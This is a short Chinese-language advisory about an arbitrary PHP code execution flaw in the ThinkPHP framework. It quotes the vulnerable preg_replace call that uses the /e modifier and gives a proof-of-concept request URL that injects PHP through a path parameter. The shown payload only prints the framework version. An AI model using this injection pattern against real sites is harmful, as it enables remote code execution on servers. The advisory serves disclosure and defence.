关于ThinkPHP framework 任意代码执行漏洞预警

2019-10-03 16:40:07于丽


复制代码
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e', '$var['1']="2";', implode($depr,$paths)); 
这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。 

复制代码
'$var['1']="2";' 
而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码: 

复制代码
index.php/module/action/param1/${@print(THINK_VERSION)} 
由于是双引号执行,这里为了保险起见,不给出更有危害性的代码,利用这个还是需要点技巧的。 
相关文章 大家在看